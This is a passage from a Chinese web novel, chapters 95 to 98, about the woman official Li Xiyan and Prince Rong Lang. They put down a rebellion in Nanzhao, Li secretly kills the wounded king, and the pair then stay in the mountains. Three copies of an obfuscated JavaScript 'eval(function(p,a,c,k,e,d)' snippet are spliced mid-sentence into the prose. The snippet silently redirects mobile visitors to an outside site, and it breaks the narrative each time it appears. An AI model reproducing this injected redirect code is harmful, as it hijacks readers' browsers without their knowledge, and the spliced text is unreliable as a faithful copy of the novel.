他还是要维护他单纯的形象,不然以后怎么……怎么……不对!他本来就很单纯很干净很洁身自好不脏! 李希言哪里猜得到他想到了什么,只纵容般地含糊了过去:“是是是,王爷和他们都不一样。” “那是!”容朗欢欢喜喜贴着她坐了下来。 “明日去章府就直接把人交过去?可还要插手?” 容朗想得很清楚:“插手更有利些。” “为何?” “你不觉得这个小子在当和尚很奇怪吗?哪家王子去当和尚,南诏再崇尚佛教也不至于如此吧?” 李希言努力压住嘴角。 正在侃侃而谈的容朗也反应了过来。 这话他来说,是有点滑稽…… 他清了清嗓子:“那个……我是说情况不一样。我觉着这个云南王有立幼子为储君的意思。” “大王子今年四十二,二王子三十多,立幼子?” “现任云南王幼时也在寺庙中修行过数年,如今崇圣寺的主持就是他当年的师父。他登基之初,这一层身份让他获得了极大的来自百姓的支持。” “他让幼子修行也是为此?” “不然呢?”容朗分析道,“你觉得他上位好不好?” “自然是好。看得出来,他很亲近章家对大晋也颇有好感,脑子简单还不像他大哥二哥那样厉害,是个极好的人选。” “所以,此事,我们必须插手。” 95. 平叛 若是要插手此事,是不可能瞒着自己的手下的。 第二天一早,李希言就把人都叫到自己的屋里,将昨晚的情况说了明白。 众人都有些惊讶。 还是关风和做事最为老成。 “可要派人先去联络各个据点?” “南诏境内的据点不能暴露,不联系最安全。苗青。”李希言下令,“等会儿你和我去章家一趟,其余人留守客栈。” 苗青有些不明白,既然是想要让他去送信,为何还非要他跟着去章家? 可他没有多问。 “是,属下遵命。” 天色还没有大亮。 一行人直接悄悄溜进了章家。 和章丞相亲近的小王子对章家比王宫还熟悉,在前面指着路。 “夫子只有师母一个夫人,夫妻俩向来是住在一起的,都在主院。” 章家人口简单,仆人也不多,还有小王子指路,一行人很快就进了主院。 想到方才小王子所言,李希言走在最前面,走了进去。 “什么人!”屏风后一把剑破开屏风,直朝面门而来。 李希言一把擒住对方的手腕一扭,将对方的剑打掉。 “夫子!夫子!”蒙望书急忙冲进来拦在中间,“是我!是我!” 李希言顺势松开。 还穿着寝衣的章玉华站直身躯,撩开额间还披散着的长发。 “小王子?”他一脸惊讶,“这是……” “她是绣衣司的李少使,我这次被姚家的人追杀就是她救了我。”蒙望书指着外面,“长乐王还在外面。师母在此,他们不好进来。” 屏风后传来窸窸窣窣的穿衣声。 外面的仆人问道:“大人?” “太吵闹,你们都去院外守着。” “是……” 支走了仆人,章玉华低头看了一眼自己的打扮。 “几位稍等。” 二人背过身去。 等章家夫妻二人换好衣裳,蒙望书才招呼还在外面的二人快进来。 “下官见过王爷。” “臣妇见过王爷。” 章家夫妻二人很是有夫妻相,都是面容温和,浑身书卷气的人,让人见之舒心。 “二位不必多礼,事情紧急,是我们冒昧前来了。” 章玉华示意自己的夫人先去外面望风。 夫妻多年自然心有灵犀,夫人点了点头就走出去还带上了门。 章玉华这才放心地说道:“之前宫里说王上病重,臣就觉得不对,可是却一直进不了宫,也见不到大王子和二王子。当时,臣派人去寺庙寻找您,才发现您已经失了踪迹……” 到底是自己教大的孩子,怎么会不担心? 嘴里说着公事,眼睛却一直在细细打量着眼前的孩子。 瘦了。 “是父王的亲信救走了我,他告诉我,父王和哥哥们已经被姚家的人软禁了起来。逃走的时候,那个侍卫为了保护我被杀了。我就一个人藏在了崇圣寺后面的山里。 “那……”章玉华看了一眼另外三人。 蒙望书将之前的事情一一告知。 “无量珠被盗去了大晋?!”章玉华盯着箱子。 李希言将箱子放在桌上:“贼人应当是为了躲避南诏的追查,如今物归原主,我们也算放心了。” 见对方如此坦荡,章玉华才放了心。 若真是大晋所为……他们根本没必要亲自来归还。 “这贼人真是奸滑,幸得诸位相助,才能寻回国宝。在下先行谢过。”他深深行了一礼。 容朗扶起他:“章丞相不必多礼。” 章玉华垂下眼:“下官行这一礼不仅仅只是为了谢二位寻回国宝之恩,还是想厚着脸皮请二位出手……” 他这次直接跪拜了下来:“如今,叛军作乱,在下不过一个文人,实在是力不从心,请二位看在南诏这么多年对大晋忠心赤诚的份上,出兵平叛!” 容朗扶起他:“您先起来说话。” “章丞相,并非是我们不愿,只是两国关系到底敏感,大晋出兵……”李希言装出一脸犹豫的模样。 章玉华也直言道:“别人不清楚,可是在下清楚得很。大晋对南诏并无野心。” 土地广阔富饶的大晋哪里看得上南诏? 真正对南诏有威胁的是虎狼一般的吐蕃! 蒙望书也表了态度:“南诏是大晋的属国,宗主国帮助属国平叛哪里需要顾忌什么呢?” 李希言还是沉默着,没有立即应下。 “李少使。”章玉华知道眼前的二人中,真正能调来兵马的是谁,“姚家向来和吐蕃来往密切,他们这次的动作怕不是和吐蕃脱不开关系,若是因此而影响了北境……” 话已至此,李希言顺坡下驴。 “小王子都这样说了,下官也没有拒绝的理由。只是……如今太和城被姚家把控了出入,大晋的救援如何进入?而章丞相,您手上又有多少人可用?” “兵权大部分还是握在王上手里。平叛不需要太多人手,只需要进入王宫救出王上即可。” 章玉华这些日子就没有睡好过,每日都在想如何破局,此时自然是胸有成竹。 “姚家对王宫的护卫大致把控了七成左右。而王城的护卫军中的何将军正是小王子的亲舅舅。到时候让何将军悄悄放人进来即可。算上何将军的人马,只需要上国派出八百精锐即可。” 李希言点头应下:“没问题。” “只是还有一个不情之请。”章玉华说道,“王上还在姚家手里,我们没有任何消息,要保证王上的安全还需要贵司的人费心。” 李希言早就考虑到这一点。 “劳烦章丞相给个凭证,我这就让人去办。” 蒙望书忽然摸出自己的玉佩:“把这个给父王吧,不然其他的他都不会信。” 李希言看了他一眼。 那双干净的眼睛让她一瞬间忘了算计…… “定不负小王子所托。” 三日后,晚,章府。 苗青拿着虎符很快就调动了八百精锐进入了南诏。 帮助他们混入的何将军今晚也在此一起商议事情。 容朗坐在主位一直看着外面。 “王宫那边我已经派了绣衣司武功最好的人潜入保护云南王。”李希言刚刚走进就带来了一个好的开端,“人已经在云南王身边了。” 后顾之虑没有了,前面就可以动手了。 何将军皱着眉:“我们这这人马要直接冲到王宫门口还是有些难度。” “我倒是有个法子。”李希言朝着一旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14481293|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙望书问道,“小王子还记得下官之前所言‘以其人之道还治其人之身’吗?” “无量珠?” “没错。下官记得无量珠不怕火烧吧?” “是,无量珠是佛宝,别说火烧就是雷劈都不会损毁。。” “下官派人将无量珠藏于姚家的牌匾之后,然后让人放一把火……” 章玉华会意:“在下再去姚家门口与他拉扯,姚家定然会调动人手在府门汇合。到时候,我们的人就可以趁乱直入王宫……” “动手时间还是选在傍晚最好。” 只有这样,才能尽量避免对百姓的影响。 章玉华也明白她的意图。 “如此,那在下就静待佳音。” 天色将晚。 平静的太和城忽然爆出一声巨响。 像是一块大石投入湖水中。 街上所有人都默契地朝着声音来处看了过去。 “起火了!”不知是谁喊了一句。 姚府的门口燃起了熊熊大火。 “快来帮忙救火!” 门口的家丁大喊。 百姓们都是热心肠,纷纷回家去打了水来帮忙。 没一会儿,巡街的卫兵也来帮忙。 火势被扑灭,大伙儿都松了一口气。 然而,或许是冷热一激,姚家被烧得漆黑的牌匾瞬间断裂。 这不断不要紧,这一断一下就掉下了一颗雪白的大珠子。 人群乱了一下,不知道是谁喊出了宝珠的来历。“是无量珠!” “无量珠不是被观音收回去了吗!” “我看是被偷了。” 姚家的管事看着灰烬中的无量珠脑子一片空白。 “本官正欲归家,忽闻姚府失火。” 章玉华带着人从人群中踱步而出。 “没想到……姚大人呢?” “章丞相来得好及时!”门内踏出一个高个儿方脸的中年男子,一步站定在他面前,言语带刺。 “姚大人急什么?”章玉华风轻云淡,“您现在应该好好解释一下这丢失的无量珠怎么会在你家中?” “定然是盗取宝珠的贼人污蔑!” “污蔑?”章玉华嘲讽一笑,“那这贼人可真厉害,能在你家正门牌匾之后偷藏国宝,还能故意引火来烧了牌匾?” 不等对方反驳,他就“啧啧”两声。 “你说的这是贼人还是神仙呐?” 姚应脸都黑透了。 “姚大人,你说这神仙会不会就是雨铜观音?祂见不得有人借观音之名偷盗国宝,污蔑王上,所以才降下大火……” “章玉华!”姚应低声吼道,“你不要命了?” “什么?”章玉华故意大声说道,“姚大人是说我不要命了?” 人群一下沸腾了起来。 这么多年,章玉华在南诏为官,推行新政,做了不少实事,百姓们对这位斯文实干又清廉的宰相很是爱戴。 平日里就奢靡的姚家就……不太那么招人喜欢了。 再加上雨铜观音在百姓心中的地位。 性子刚烈的人直接叫骂了起来。 眼见着场面要失控,姚应背着手朝着管事比了个手势。 章玉华眼中闪过一丝得逞之意。 要的就是你动! 96. 抉择 姚应在调动兵马的同时,另外一队人马也完成了集结,在一片混乱中奔向了即将关闭的王宫。 小王子被留在了章家进行保护,而他将云南王的令牌交给了何将军保管, 李希言和容朗也和其他人一样换上了南诏军队的红色军衣,在何将军身侧随行。 其余的绣衣使紧紧跟在他们身后。 绣衣使和军人不同,更擅长单人作战,更适合等一会儿潜入深宫解救云南王。 南诏的王宫规模不大,颜色也和其他建筑一般,更古朴大气。 此时,它的大门口站着密密麻麻的重甲卫兵,持戈相迎。 何将军没有为此减速,反而夹了夹马肚子,让马跑的更快了。 他拿出令牌,高呼:“王上王令在此,姚应犯上作乱,囚禁王族,命本将前来护驾,尔等还不快快退开!” 那些重兵没有移动一分一毫。 当然,何将军也从来没有松懈过一分。 一声哨音,一大队骑兵瞬间分为左右两翼,直接从对方的两侧包抄冲击过去。 不管是多厉害的重甲步兵,只要被侧面后方攻击就是死局。 更何况,李希言借来的可都是精兵。 看似铁壁一般的重甲兵瞬间被斩在马刀之下。 还不需动用弓箭。 后方的步兵跟入。 一行人杀入了王宫。 何将军勒住缰绳,朝着二人抱拳道:“王上那里,就拜托二位了。” 李希言点点头,带着绣衣司的人下了马,混入了人群之中。 速战速决,是绣衣使最擅长的战斗方式。 一把刀一柄剑,就能杀出一条血路。 王宫深处。 这里是原本是个冷宫,三面是黑污的水,如今却成了关押现任云南王的地方。 李希言没有用蛮力,直接扔出一小包火药。 火药砰得一声炸开,地面都像是震动了一下,一股黑烟窜得到处都是。 软禁人的冷宫一下成了战场。 就是这样粗暴,直接开路,轰开了一群人。 李希言避开烟雾,脚尖轻点,率先冲了进去。 房间外还有一群士兵在抵抗。 但是很明显,刚刚李希言一上来就炸人的行为还是让他们有些害怕,连拿刀的手都在颤抖。 这次不需要李希言动手,后面的钟力就先冲了上来。 “少使!让我来!” 李希言摸摸侧开身。 后面的绣衣使一拥而上。 容朗站在一边。 怎么有一种群狼分食的感觉? 宫殿的门被打开一条缝。 “少使……”关风和的声音透出来,“您先进来呗。” 宫殿内的景象和预想的不同。 确实是冷宫的摆设,门口放了几个铜盆,随意地扔了几张帕子。 空荡荡的,什么都没有,只有角落有一张小床。 而云南王半躺在小床上,面色灰白灰白的。 他本就是快要六十的年纪,被折磨了这么多天,早就起不了身。 “失礼于二位了。” 二人走近。 云南王有些迫切地向前倾身:“不知我家……” 容朗按住他的手腕,顺势摸脉:“小王子很安全,没有受伤。” “那就好那就好……”这个在传言中阴险狡诈且手腕强硬的南诏王,显露出几分作为父亲的人情味。 容朗有些许的心酸。 别人的爹送孩子去佛寺是为了造势,我爹…… 呵! 算了不和死人计较。 他专心给云南王把脉。 “你中毒了?!”他有些不敢相信地又摸了一次。 云南王抽回手:“是,是一种慢性毒药,只是让人虚弱,及时救治不会致死。” 容朗这才放下心。 “王爷可还能走动一二?”李希言说道,“还需要您去大殿主持大局。” 只有他现身大殿才能真正稳住局面。 云南王本就是武人出身,身体底子好不说,还有极其强的意志。 他撑着站起来,容朗只好扶住他。 “还好……走到大殿不成问题。” “那下官就护送您……” 呯——门忽然被撞开! 李希言飞快转身,面对门的方向举起刀。 绣衣使围成保护圈将来着逼出门外。 可是李希言还是看见了那个人。 是个三十左右的年轻将领,个头极高,领着一个小队。 “姚应的儿子姚千峰。”云南王在后面提醒道,“此子武功极佳还擅长兵法,心思诡诈,李少使要小心。” 李希言握紧了刀柄。 这个人的名号,她听周彻提起过。 隐患。 足够有能力又对大晋心怀敌意。 “李希言?”姚千峰举起长戟隔着人群指向了她,“那个废物为了翻身把你们大晋人都放进来了?” 见对方根本不搭理他,他继续说道:“你和那个周彻退婚就是为了这个小白脸?” 他努努嘴,指向一旁的容朗,笑得十分欠揍。 “你喜欢周彻?”李希言上下打量了他一眼,“难怪一直那么关注他,真是可怕。” 姚千峰瞪大了眼。 他怎么记得传言中对方不是个古板守礼之人吗?这是什么流氓无赖才能说出来的话?! “咳咳。”云南王笑得咳了两声。 他这一笑不要紧,只是苦了其余正憋着笑的人。 叛军也不由眼神直往自己的头儿身上飘。 好像…… 头儿平时确实对周彻太过关注了…… 难道……是真的?! 李希言手腕一转,刀光一亮。 “杀!” 早有默契的绣衣使们知道她刚刚是故意转移敌人注意,已经做好了攻击的准备。 一声令下,姚叛军被合围了起来。 “不要脸!”姚千峰一戟挑开一个敌人,抽空大骂。 跟周彻那玩意儿一路货色! 脸上看着正经,实际上比谁都阴险! 片刻后,前方的喊杀声愈发大了,连在冷宫都听得清清楚楚。 一直被堵在门外的姚千峰急了。 此时只能以退为进…… 他恨恨地看了一眼被李希言和容朗护得严严实实的云南王。 “退!” 他身边只剩下一半的卫队立即后撤,和绣衣使们拉开了距离。 李希言也没有犹豫。 “追!” 此人擅长是个出了名的神射手,要防他动用弓箭。 然而,还是晚了一步。 姚千峰的卫队相当灵活,竟然拿起背上的弓回头就射出箭雨来。 绣衣使们急忙格挡飞箭。 李希言也不得不带着云南王后退了几步,往宫殿深处退去。 在外防守的人立即分散开来,各自一边找掩体物躲藏,伊一边趁机攻击。 弓兵在战场上无往不利是因为其面对的是集体作战的士兵,如今这一招用到绣衣使们的头上却明显没有那么有用了。 关风和看准时机,借着卫川的掩护,直接冲入了地方队伍中举剑就砍。 等姚千峰反应过来时,身边的人已经少了一半! 想到父亲的嘱托,他横下心,举起自己的大弓,拉到最满,对准了屋内。 只要杀了云南王就好了。 关风和瞬间发现了他的意图,可是他身边的人已经把他护了好几圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14489763|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她只能大声提醒:“少使!小心弓箭!” 殿内的二人气喘吁吁,李希言挡在云南王面前,尽力拿起刀。 地上掉落了一地的飞箭。 二人都已经快要力竭。 关风和的提醒声还在耳边,就又来了一片箭雨。 一支箭就在她的耳边划过,皮肉被划开的刺痛,她也顾不得。 云南王! 她转过身,云南王已经倒在了地上,心口处浅浅地插着一支箭矢。 容朗将人拖入柱子后查看伤口。 “伤得不算重,还能救。” 李希言蹲了下来,看着他胸口的伤。 云南王,这个是大晋隐患的云南王。 他性子深沉,摸不清底细。 他勤政爱民,让南诏愈发富饶。 他励兵秣马,南诏的军队战斗力已经逼近西北军的精锐…… “我要死了吗?”云南王坐靠在柱子上,胸口的血液带走了他的部分意识,“可是孩子他还没有长大……我还有很多东西没有教给他……” 他手里捏着那一关黄玉雕刻出的玉佩,眯着的眼睛微微睁开了一点儿。 “望书,不要一味亲近大晋,吐蕃吐蕃……也不能放弃……” 李希言握住了他胸口的箭头,用力刺了进去。 这样的人是不能留的。 伤口飙出的雪一下喷射了出来。 她的下巴,她的衣襟都是飞溅的血迹。 云南王的呓语停止了,气息也消失了。 李希言吐出一口浊气。 死了更有价值。 她伸手想要擦掉血迹,一张帕子却先她一步。 是一直在旁观的容朗。 他的表情没有丝毫的变化,拿着帕子细细擦着她手上滴落的血迹。 血迹擦完了,还有下巴。 衣襟上的血擦不掉,都是可以把衣襟翻折一下,遮住血迹。 “云南王不幸中箭身亡。” 李希言看着他沉着地做完一切,点了点头。 箭雨停了。 “快来叫大夫来!”容朗大喊。 王殿外。 官员们分成两列跪在左右两侧,正中间放着血糊糊的两颗人头,旁边跪着一个人。 蒙望书坐在殿内,身边是他父亲的尸体。 大夫跪在地上:“小王子,王上被射中了心脏,失血过多,实在是无力回天……” “那一箭是谁射的?” 站在他身侧的李希言上前:“当时我们躲在宫殿深处,能射那么远的箭……怕是只有力大无穷的姚千峰能够做到。” “父王对姚家一直很好。”蒙望书捏紧了拳头,“可是他们,却非要置父王于死地!还有哥哥……他们也不放过!” 李希言冷眼看着愤怒的少年,无悲无喜。 “李少使!”蒙望书豁然起身,“我要杀了他们!” “小王子是应该杀了乱臣贼子。可是……” 李希言侧过头,看向殿外的两颗人头。 “姚应的弟弟姚庆本就是被姚应所害囚禁在家中,后为了给王上报信拼死逃出,刚刚又为了南诏大义灭亲,擒杀了这两个乱贼,您应该嘉奖他。” “你知道的!”蒙望书的双眼猩红,几乎是从牙缝里挤出来这一句话,“那是他们……断尾求生!” “下官知道。”李希言弯下腰,“小王子,你没有选择。姚家若亡,你拿谁来制衡章家?姚家若亡,你拿什么来控制还在边境的军队?” “我……”蒙望书的胸口被气鼓起。 他怎么不明白,可是…… “您不仅要重赏姚庆,还要娶他这一脉的女儿做您的王后。” 蒙望书的肩膀一点点垮了下去,就像是被压上了千斤重担。 97. 苍山负雪 王宫的一处宫殿内。 李希言一行人在此安置。 “什么?!”瑞王拍着石桌,“他竟然让姚庆袭爵还赏赐了他金银珠宝!” “南诏和大晋的情况可不一样。”容朗敲了他脑袋一下,“能不能稳重点!” 瑞王摸着脑袋缩着坐了回去:“可是这也太惨了吧……” “你要是势弱,日后也会如此。”李希言瞥了他一眼。 “我……我才不会……”瑞王在位置上扭动了两下,“我会好好读书的。” “少使。”苗青风尘仆仆地走进来,“所有人马已经全部回到原来的驻地。” “辛苦你了。” 这次前前后后都是苗青在奔波,李希言明白。 “王宫毕竟不是久留之地,等小王子继位仪式办完我们就去苍山上过年。” “去苍山上过年吗!”卫川摸出扇子扇了扇,“苍山洱海,风花雪月,最是风雅!” 被他扇了两下冷风的关风和躲开。 “你真的不冷吗?” 大冬日的还扇扇子! 卫川又用力朝着她扇了两下。 “你们年纪大的身体虚弱……” 李希言被吵得头疼:“关姐,你们俩打一架吧?” 被点拨的关风和撸起袖子:“走,小卫!” “好好说话别动粗啊!” “我也要来!” “算我一个!” 容朗看着精力充沛的绣衣使们,摸摸挺直了背。 “李少使,他们不累吗?” 冬日的暖阳照在脸上,暖融融的,李希言闭上眼:“反正我挺累。” 因为先王刚刚新丧,蒙望书的继位仪式办得很简略。 容朗和李希言代表大晋坐在最前面的位置观礼。 而本来作为蒙忠义六十大寿寿礼的国礼以另外一个名义赏赐给了蒙望书。 仪式结束后,蒙望书请二人到了内殿中单独说话。 “王爷和李少使应该明白我的处境。”蒙望书自嘲一笑,“我文不成武不就,如今真的敢用的人也就只有章丞相。” 李希言客气道:“小王爷有何吩咐?” “不是吩咐,而是请求。” 蒙望书拿起案头的一封国书:“南诏愿意俯首称臣。” 二人有些不敢去接。 见二人都是犹豫,蒙望书坦然一笑:“这是真心的,我如今根本无法掌控南诏,即使我立姚氏女为后,若无大晋相助,南诏迟早要被吐蕃吞并。” 李希言接下国书。 “陛下对此究竟会有何决断,下官不敢保证。但是下官会尽快将国书呈给陛下过目。” 蒙望书无所谓地笑了笑,脸上的稚气已经消失了好几分。 “尽人事听天命。” “王爷能这样想,很好。” 蒙望书摆摆手:“不说这些了,你们可要留在南诏过年?” 李希言顺势提出要求:“居于王宫到底不便。下官的手下久慕苍山洱海之美景,不知可否让下官等人前去一观?” “好啊。”蒙望书很是大方,“苍山上有个行宫,里面东西人手都齐全,到时候,我让人带你们去。” “多谢王上。” 十二月二十七。 行宫就在苍山的半山腰上。 一行人骑着马悠哉悠哉蜿蜒而上。 容朗向前了一点,紧靠在李希言身边,用只有两人能听到的声音说道:“这就是李少使的目的?” 那日的事情,只有天知晓地知晓二人知晓。 “是。”李希言的回答很是坦荡。 云南王死了,刚继位的新王没有倚仗,没有长成,只能朝大晋俯首称臣。 “可有一点我不明白,你为何要建议他迎娶姚氏女?” “他需要掌控南诏,南诏现在还不能乱。” “只是为了这个?” “一个王娶了自己仇人家的女儿为后,他的后宫一定会很精彩,这样才能让南诏以后的继承人们在内斗中消耗国力。还有一点。南诏俯首称臣之后,其内部必然有相当一部分人反对,姚家可以平息这一波浪潮。” “姚家……真的会吗?他们向来和大晋不亲厚。” “这个时候的姚家只有这条路可走。” 容朗赞许地点点头。 嗷嗷嗷啊,姐姐好厉害! 李希言一直悄悄地观察着他的神色,见他没有丝毫的厌恶,那一块莫名其妙压在心上的石头消散了。 “王爷,很关心这个问题?” “嗯?”容朗朝着她的方向侧了侧身,“我帮忙收拾的现场,你可不能用完就丢。” “什么用完就丢?” “你说呢!”容朗扬起嘴角。 饱满的唇拥有美好的弧度。 李希言眼神慌乱了一瞬,转过头,抖了抖缰绳。 “走了。” “诶!” 还说自己不是用完就扔! 到了行宫,一行人挑了个偏僻安静风景好的地儿住了下来。 行宫的宫人们虽然做事不太利落,但是性格却是个顶个的热情,一混熟了就开始问起了大晋的事儿。 对于这个邻国,普通百姓更多的是简单的好奇。 李希言也让人拿了些大晋特产给宫人们分了。 双方也算是相处融洽。 年前,李希言将信的内容又整理了一次。 事关这次平南侯府一案,除去那些被核实的冤案以外,她还想要追因溯果。 平南侯能作恶的果在哪里? 在于百姓上告无门…… 登闻鼓是没有用的。 不如在御史中增添一职,专代天子巡狩地方,对各级官吏进行监督。 她特意添上一句“巡狩地方者,必是体恤民情坚忍质直之人,选拔之时可以庶族寒门为先。” 一个极好的能够提高庶族寒门地位的机会,皇帝一定不会拒绝。 她把信和国书放在一起,看着窗外。 是天色晴好的冬日,山下的洱海湖面如镜,映着天上的蓝。 微风吹过,水波懒懒地动了两下。 心里无端静了下来。 让人觉得美丽的地方很多,但是让人宁静的地方太少。 她有些出神。 平日里总是没有停下过的脑子有了几分松懈与休息。 被阳光晒暖的风吻在鼻尖。 她笑着合上了眼睛。 不知过了多久,日头西斜。 窗户被轻轻敲了两声。 “小师叔。” 李希言一下睁开了眼睛。 窗户外站着一个圆乎乎的小道士,十二岁左右的模样。 “鹄录?” “是我呢!”小道士笑得喜庆,“我正好回家探望爹娘,师兄就说让我来取信,等年后回去的时候顺路带回去。” 李希言顺手把手边的国书和信给他,又摸摸他的头:“路上小心。” “我知道的。” 鹄录看着年纪小实际上做事很是妥帖,不然国师府也不敢让他来做这样的事。 他将国书和信贴身收好,又摸出一封信:“大师伯给你的。” 李希言收下信,又从兜里摸出一小个黄金打的小猪:“要过年了。” “谢谢小师叔!”鹄录喜滋滋揣好小金猪,笑得喜庆,“小师叔果然是天下第一美貌强大又善良的小师叔!祝小师叔青春永驻万寿无疆……” “停!”李希言开始赶人,“再说下去就该法力无边了。” 鹄录嬉皮笑脸,又掏出一盒药膏放到桌子上。 “我爹给您找的药,您每日抹一抹那疤痕会好很多。” 他的父亲是大药商,就连绣衣司里的好多药也是出自其家中产业。 “替我谢过令尊。” 鹄录揣着小金猪一溜烟跑了。 胖墩墩的身体在山中一蹦一跳,颇具喜感。 李希言看得不由发笑。 这孩子…… 她拿起手边的信封,将其打开。 大师兄怎么会给她来信? 又不是没在外面过过年?难道是……刺客的事情有了眉目? 她动作不禁快了些。 信纸展开,头一列写着“渤海王之子招供,幕后黑手乃昔年康王一党中人,二人勾结乃此人于泰平二年主动单方面联系,故其对此人并不熟悉……” “李少使?李少使?姐姐?” 是容朗。 李希言放下书信:“门没锁。” 门迅速被撞开。 容朗此时的模样有些让人意外。 没有往常那样风度翩翩,反而傻乎乎。 他扯着衣裳的大袖子兜着一大堆红艳艳的小野果。 野果是一串一串的,每一颗只比黄豆大一点儿,看上去像是由一个个小水泡组合而成,饱满而多汁。 “都这么冷了竟然还有十月莓!” 他把果子往桌上一倒。 “我摘了好些呢,快来一起吃!” 李希言拿起信走到桌边坐下。 “尝尝,这个可甜可甜了。” 容朗额角微微有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494485|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些汗,衣裳和头发都有些凌乱。 李希言拉起他的袖子。 袖子是紫色的锦缎制成的,上面还沾了几点红色果子汁。 “衣裳弄脏了。” 容朗拍了拍袖子:“没事儿。”他一双眼亮晶晶的,“我想着你原来最爱吃这个了就没顾上。” 李希言拿起一颗放入口中。 嫩薄如蝉翼的果皮碎裂开,爆出一口口甜蜜的汁水。 “好吃。” “你喜欢就好。”容朗这才看见她手上还拿着一封信,偏了偏头,“是哥哥来信了?” “不是,是师兄。”李希言将信递给他看,“渤海王的儿子招供了。” 容朗扫了一眼:“是康王的人啊……” “你怎么不吃?”李希言盯着他。 “我不爱吃甜的。” 李希言挑出一颗橙黄的:“这个酸。” 容朗低下头,一口咬住。 指尖传来热热而柔软的触感。 李希言飞速缩回了手。 这人不知道用手拿着吃吗?非用嘴叼? “李少使怎么知道我爱吃酸的?”容朗笑眯眯的问她。 “你不爱吃酸?” 容朗摇头:“李少使,你又在逃避问题了。” 李希言沉默地看着窗外,看似稳如泰山,只有过快的进食速度暴露了她内心的一点点慌张。 自己哪里舍得有一点点让她不舒服。 “我们来说说康王的事情吧。”容朗自然转移了话题。 “传言,康王的性子很是温和,是个只爱舞文弄墨的闲散王爷,其门下的宾客也多是文士?” “确实如此。康王是先帝的叔叔中年纪最小的。他十岁时,先帝就登基了,也因此,他从来没有淌过浑水。” “那他当时为何谋反?” 容朗摩挲着手里的信纸。 “哥哥说过,康王的舅家遭了先帝坑害,他虽怀恨在心,但是因为胆小谨慎一直也就忍耐着。参与谋反……主要还是被裹挟了。” “裹挟?” 这是一个新奇的说法。 “具体如何我也不甚清楚。哥哥说他去审问康王时,康王一直喊冤,说自己本无反意,是渤海王拉他下了水。还没等哥哥细问,康王一家就被先帝赐了毒酒,而康王一党……因为绝大部分人都并无实权,也没做出什么实质性的事情,大部分是发配边疆,算是判得最轻巧的。” 发配和流放看似相同实际区别很大。 流放一般都是有期限的,到了时间就可以回乡,算是刑期结束。 可是发配就没有期限。 犯人被发配后将要终身边疆从事最苦最累的劳作至死,和奴隶没有多大的区别。 还有一种情况,更为严重。不仅是犯人本人,还要累及其子孙。其后世世代代皆要在边疆劳作。 至于,这些人会不会逃走…… 基本不可能。 其一,在被发配的途中,这些犯人都会被戴上几十斤的枷锁,再加上每日的步行,这他们根本无力逃脱。 其二,犯人被发配前,脸上会被刺字,刺字的内容就是犯人所犯罪名。这让他们根本无法掩盖自己的身份。 其三,即使犯人用什么法子掩盖了自己的身份,他们也无法取得路引,可以说是寸步难行。 被发配的人,即使真正逃脱,也只能一辈子活在阴影之下,见不得光。 要么落草为寇当土匪,要么就去做见不得人的事情才有口饭食。 如此一看…… 容朗说道:“幕后黑手的家人被判死刑的可能性更大些。” “发配的也不能略过,一个个查过去。万一是逃出去的……” “真好,这事情也算是有了新的线索。” 容朗轻松的呷了一口茶,继续看着信上未完的内容。 “咦?什么叫做南郊小宅起火,其中之人不幸丧生?” “南郊……小宅?”李希言嘴巴张了张,声音低得几乎听不到。 容朗抬起头,拿着信的手一送。 对方的脸色已经煞白,漆黑的双眼直直看着前方。 那是一种很复杂的情绪。 容朗看不透,但是他能够感觉到,里面有悲伤。 “姐姐?”他等了许久才小心翼翼喊了一句。 可此时的李希言却什么都听不到,她的耳边只有轰鸣声,还有木头被火烧裂开的声音。 噼啪,噼啪…… 不停地响着。 她甩了甩头,霎时间,天旋地转。 “姐姐!” 98. 愿新年,胜旧年 屋内,李希言躺在床上,面容平静,似乎陷入了安眠之中。 “王爷,少使是这次受了伤吗?”苗青急切地问询着。 容朗本来坐在床边,听见他说话才站起身,将床帘放下。 “没有受伤。” 他犹豫了一二,将事实和盘托出。 “国师让人送了一封信过来,说是南郊小宅起火,里面的人死了。” 对方是跟着李希言时间最久的属下,也因为无亲无故,和李希言最是亲密。 他希望能够在对方哪里得到一个答案。 “南郊小宅?”苗青摇头,“没听少使说过呀……” 容朗有些失望。 自从明确了李希言的身份后,他暗中调查了很久,可是也没有查到过任何和南郊小宅的事情。 “今日之事,让他们都不要多问,就当是李少使太过劳累。” 苗青也知道李希言的性子,应了下来。 “劳烦你了,你先去休息吧。”容朗勉强笑了笑,又坐到了旁边的榻上。 他已经一夜没有合眼,一脸疲惫,一身紫色锦衣也皱巴巴的,哪里还有平时里打扮得精致讲究的模样。 屋内只有二人在,李希言还睡着。 